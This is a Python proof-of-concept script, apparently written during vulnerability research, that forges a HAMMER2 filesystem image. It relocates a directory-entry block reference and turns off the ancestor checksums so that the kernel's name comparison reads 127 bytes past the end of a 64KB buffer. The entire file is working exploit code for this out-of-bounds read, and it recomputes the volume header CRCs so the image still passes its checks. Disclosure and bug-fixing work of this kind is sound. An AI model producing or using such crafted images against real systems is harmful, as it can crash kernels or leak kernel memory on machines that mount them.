#!/usr/bin/env python3
"""
DF-2619 PoC image forger.

Base: newfs_hammer2 -L testvol with ONE file whose name is 255 'A's.
Its DIRENT bref (in the PFS root blockset) is relocated to a fresh 64KB
window with data_off = WIN|0xFF80|7  (radix 7 -> chain->bytes = 128).
The first 128 bytes of the name are written at WIN+0xFF80 so the bcmp in
hammer2_chain_dirent_test() walks the whole in-buffer range and continues
127 bytes PAST the end of the 64KB DIO buffer looking for the remaining
name bytes (namlen = 255, name_len = 255, chain->bytes = 128).

Ancestor brefs (dirent, PFS inode bref, sroot bref) set to CHECK_NONE and
the three volhdr CRC32Cs recomputed, per DF-2616 prior art.
"""
import struct, sys
sys.path.insert(0, '/tmp/opencode/dfv')
from h2common import *

WIN = 0x2100000            # 64KB-aligned window, verified zero

def main():
    base, out = sys.argv[1:3]
    img = bytearray(open(base, 'rb').read())
    vols, sbr = find_sroot(img)
    print("[walk] volhdrs @ %s ; sroot bref @ %#x -> blk %#x (methods %#x)"
          % (",".join(hex(v) for v in vols), sbr['off'],
             sbr['data_off'] & ~RADIX_MASK, sbr['methods']))

    pbr = find_pfs_bref(img, sbr, b'testvol')
    assert pbr, "testvol PFS not found"
    iblk2 = pbr['data_off'] & ~RADIX_MASK
    print("[walk] PFS testvol inode @ %#x (bref @ %#x methods %#x)"
          % (iblk2, pbr['off'], pbr['methods']))

    # find the DIRENT bref of the 255-char file in the PFS blockset
    dirent = None
    fileino = None
    for i in range(SET_COUNT):
        br = bref_parse(img, iblk2 + INODE_DATA_BLOCKSET + i * BREF)
        print("[walk] PFS slot%d: type=%d key=%#018x data_off=%#x namlen=%s"
              % (i, br['type'], br['key'], br['data_off'], br['namlen']))
        if br['type'] == T_DIRENT:
            dirent = br
        elif br['type'] == T_INODE:
            fileino = br
    assert dirent and dirent['namlen'] == 255, \
        "want DIRENT namlen=255, got %s" % (dirent and dirent['namlen'])
    assert fileino, "file inode bref not found"

    # sanity: target window empty
    assert all(b == 0 for b in img[WIN:WIN + 0x10000]), "window not empty"

    # forge
    img[WIN + 0xFF80: WIN + 0xFF80 + 128] = b'A' * 128   # in-buffer name bytes
    struct.pack_into('<Q', img, dirent['off'] + 0x20, WIN | 0xFF80 | 7)
    struct.pack_into('<B', img, dirent['off'] + 0x01, 0x00)   # CHECK_NONE
    struct.pack_into('<B', img, pbr['off'] + 0x01, 0x00)      # PFS inode bref
    for v in vols:
        struct.pack_into('<B', img, v + 0x201, 0x00)          # sroot bref
    recompute_volhdr_crcs(img)
    open(out, 'wb').write(img)
    print("[+] DIRENT bref @ %#x: data_off %#x -> %#x (radix 7, 128B block "
          "at window tail 0xFF80; bcmp of 255B reads 127B past DIO end)"
          % (dirent['off'], dirent['data_off'], WIN | 0xFF80 | 7))
    print("[+] wrote %s" % out)

if __name__ == '__main__':
    main()
